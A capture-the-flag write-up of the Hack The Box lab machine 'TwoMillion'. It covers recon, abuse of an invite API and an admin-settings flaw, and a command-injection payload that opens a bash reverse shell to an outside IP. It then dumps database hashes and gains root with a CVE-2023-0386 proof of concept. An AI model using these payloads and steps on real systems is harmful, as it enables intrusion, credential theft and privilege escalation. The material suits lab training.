TwoMillion


Contents

Intro


Longest box I've done in a while which relies heavily on API requests in the first half, I'm glad to have finished this!

User


Starting with nmap:

sudo nmap -sC -sV 10.129.11.69

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/

Nothing out of the ordinary here with two ports (22,80) being open. Last line indicates you'll have to add the domain to your /etc/hosts. When you run the nmap scan again, we gain additional information regarding the webpage, such as it running on php.

80/tcp open  http    nginx
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Hack The Box :: Penetration Testing Labs
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set

When we access the IP, we're greeted by a webpage that looks like the old HTB interface.

There was nothing particularly significant I could find at first glance besides a /login and a /invite page, so I ran feroxbuster to find any hidden directories:

feroxbuster -u http://2million.htb

200      GET        1l        8w      637c http://2million.htb/js/inviteapi.min.js
200      GET       27l      201w    15384c http://2million.htb/images/favicon.png
200      GET      260l      328w    29158c http://2million.htb/images/logo-transparent.png
200      GET      245l      317w    28522c http://2million.htb/images/logofull-tr-web.png
200      GET        5l     1881w   145660c http://2million.htb/js/htb-frontend.min.js
200      GET       13l     2209w   199494c http://2million.htb/css/htb-frontpage.css
200      GET       13l     2458w   224695c http://2million.htb/css/htb-frontend.css
200      GET       80l      232w     3704c http://2million.htb/login
200      GET       94l      293w     4527c http://2million.htb/register
200      GET        8l     3162w   254388c http://2million.htb/js/htb-frontpage.min.js
200      GET       96l      285w     3859c http://2million.htb/invite
200      GET     1242l     3326w    64952c http://2million.htb/
200      GET       46l      152w     1674c http://2million.htb/404

There's a register page as well, though in order to register an account, we'd need an invite code in advance - probably means that what I do next will have to do something with the invite page.

This is what greets us if we go to htttp://2million.htb/invite:

There's nothing we could do on the surface - reflecting back on the directories prior however, this is where the invite API found in our feroxbuster scan probably comes into play.

When entering http://2million.htb/js/inviteapi.min.js, we get obfuscated js code, which looks like this upon deobfuscation:

function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

We can send a POST request to 2million.htb/api/v1/invite/how/to/generate found in the makeInviteCode() function:

curl -X POST 2million.htb/api/v1/invite/how/to/generate

{
    "0": 200,
    "success": 1,
    "data": {
        "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
        "enctype": "ROT13"
    },
    "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

The encryption is ROT13, if we decrypt the data, this is the message we get:

In order to generate the invite code, make a POST request to /api/v1/invite/generate

This is exactly what we're going to do next:

curl -X POST 2million.htb/api/v1/invite/generate
{
    "0": 200,
    "success": 1,
    "data": {
        "code": "NDJJVDItQkdQMDEtNUdCT0ctTDczUlI=",
        "format": "encoded"
    }
}

This nets us the invite code encoded in base64. If we decode it, we get our invite code - in my case, it was 42IT2-BGP01-5GBOG-L73RR. This allows us to create an account and log onto the website.

This is the dashboard that greets us upon login. The only buttons that forwarded me to a different directory were Dashboard, Rules, Change log and Access, with them leading to /home, /home/rules, /home/changelog and /home/access respectively.

Out of these 4, the first 3 didn't have too many things I could've gone off of. http://2million.htb/home/access however...

The page gives us two options to download a .ovpn file with the name of our user, with seemingly the same contents inside. I tried to connect via sudo openvpn cat.ovpn, but to no avail. At this point, I didn't have many ideas left - I tried turning on burpsuite to see if I could intercept anything of value earlier on with no success, but with nothing to go off of, I booted it up again.

By clicking on either connection pack or regenerate, we send a GET request to /api/v1/user/vpn/generate or /api/v1/user/vpn/regenerate. They send back an identical response. Given how API-heavy this box seemed so far, there had to have been something else we could do with the API.

If we go further up the path of the request, we find that most things lead to a 404 error, up until GET /api/v1, which lists us the valid routes.

{
    "v1": {
        "user": {
            "GET": {
                "\/api\/v1": "Route List",
                "\/api\/v1\/invite\/how\/to\/generate": "Instructions on invite code generation",
                "\/api\/v1\/invite\/generate": "Generate invite code",
                "\/api\/v1\/invite\/verify": "Verify invite code",
                "\/api\/v1\/user\/auth": "Check if user is authenticated",
                "\/api\/v1\/user\/vpn\/generate": "Generate a new VPN configuration",
                "\/api\/v1\/user\/vpn\/regenerate": "Regenerate VPN configuration",
                "\/api\/v1\/user\/vpn\/download": "Download OVPN file"
            },
            "POST": {
                "\/api\/v1\/user\/register": "Register a new user",
                "\/api\/v1\/user\/login": "Login with existing user"
            }
        },
        "admin": {
            "GET": {
                "\/api\/v1\/admin\/auth": "Check if user is admin"
            },
            "POST": {
                "\/api\/v1\/admin\/vpn\/generate": "Generate VPN for specific user"
            },
            "PUT": {
                "\/api\/v1\/admin\/settings\/update": "Update user settings"
            }
        }
    }
}

Most of these in user we've already worked with, with the exception of a couple requests.

/api/v1/invite/verify returns us a 405 code. /api/v1/user/auth returns us the flags our user has:

{
    "loggedin":true,
    "username":"cat",
    "is_admin":0
}

is_admin raises a red flag. I'd guess all of the properties above get assigned at either /api/v1/user/register or /api/v1/user/login.

Intercepted the the register request and added the is_admin flag at the end as such:

code=EX165-8JAON-PWILC-GKKX4&username=cat2&email=cat2%40meow.com&password=meow&password_confirmation=meow&is_admin=1

When sending a GET request to /api/v1/user/auth again, the value of is_admin stayed 0, so that means it has to be done another way. What I didn't know prior is that you don't need admin permissions to get a valid response from requests under admin, which you can do.

/api/v1/admin/settings/update might give an opening to tinker with our user's settings.

If we use the default content type of application/x-www-form-urlencoded, this is what gets returned:

{
    "status":"danger",
    "message":"Invalid content type."
}

The user data is most likely stored in a .json file - trying it as such will tell us that we have two missing parameters: email,is_admin. We add these two to our request:

{"email":"[email protected]",
"is_admin":1
}

We've got admin privileges now! But just to double check, we can send a request to /api/v1/admin/auth:

{"message":true}

There's one thing from admin I haven't checked yet: api/v1/admin/vpn/generate. Just like with /api/v1/admin/settings/update, the content type is required to be .json, and the one parameter it needs is username.

When checking, I noticed that the request accepts non existing usernames as well to generate a vpn for. Alongside that, it's also vulnerable to command injection (checked via {"username":"cat3$(sleep 3)"}). This is a good enough sign to try and get a reverse shell going!

Naturally, I set a up a listener prior to sending the request:

nc -lvnp 9001
{"username":"cat3$(bash -c 'bash -i >& /dev/tcp/10.10.15.55/9001 0>&1')"}

Once we've done the usual commands to stabilize the shell, we start off with ls:

www-data@2million:~/html$ ls
Database.php  VPN     controllers  fonts   index.php  views
Router.php    assets  css	   images  js

I tried reading through Database.php and I found a couple of things:

private $mysql;

    public function __construct($host, $user, $pass, $dbName)
    {
        $this->host     = $host;
        $this->user     = $user;
        $this->pass     = $pass;
        $this->dbName   = $dbName;

        self::$database = $this;
    }

With the last the being an environment variable, leading me to a .env file found via ls -la.

$this->host     = $host;
$this->user     = $user;
$this->pass     = $pass;
$this->dbName   = $dbName;

With this I could log into mysql.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| htb_prod           |
| information_schema |
+--------------------+

MariaDB [(none)]> use htb_prod;

MariaDB [htb_prod]> show tables;
+--------------------+
| Tables_in_htb_prod |
+--------------------+
| invite_codes       |
| users              |
+--------------------+

MariaDB [htb_prod]> select * from users;
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| id | username     | email                      | password                                                     | is_admin |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| 11 | TRX          | [email protected]          | $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq |        1 |
| 12 | TheCyberGeek | [email protected] | $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK |        1 |
| 13 | cat          | [email protected]               | $2y$10$Uo5EejbL6aWtEdmiUjBRmOsSb/9RR05EKGPINLqDe4zjkltQ8EWzq |        0 |
| 14 | cat2         | [email protected]              | $2y$10$./y9BRJqds5CWpp4bkCM6uDl4JM4wPUo/UL4JDb8v.hdZOKl0dUdi |        1 |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+

A couple commands deep and we found the hashed passwords of the users on the website, including ours. I've written the ones that I don't know in a file.

Hashcat provided me with 4 modes I could choose from to crack the passwords:

3200 | bcrypt $2*$, Blowfish (Unix)
25600 | bcrypt(md5($pass)) / bcryptmd5
25800 | bcrypt(sha1($pass)) / bcryptsha1
28400 | bcrypt(sha512($pass)) / bcryptsha512

Given how the start of each password looked, I went with my gut and used -m 3200:

hashcat hashpass rockyou.txt -m 3200

Sidenote

Given how long this was taking, I've decided on not going down this path.

We could also check if admin exists on the machine, in case we can use the credentials found in .env

www-data@2million:~/html$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
admin:x:1000:1000::/home/admin:/bin/bash

su'ing into admin works with it, and we get user!

Root


Let's check what's owned by admin:

find / -user admin 2>/dev/null | grep -v '^/run\|^/proc\|^/sys'

/home/admin/.cache
/home/admin/.cache/motd.legal-displayed
/home/admin/.ssh
/home/admin/.profile
/home/admin/.bash_logout
/home/admin/.bashrc
/var/mail/admin

The last file is an email highlighting the outdated OS while mentioning a convenient Linux kernel CVE in OverlayFS/FUSE. We can verify the claim that it's outdated.

uname -a

Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

After googling, I came across A PoC for CVE-2023-0386. We're going to need two terminals for this, so I'll ssh into the machine from a separate terminal connected to admin@2million.

term1: make
term1: ./fuse ./ovlcap/lower ./gc

term2:./exp

We finally get root access with that! Good luck to everyone else trying to do this box!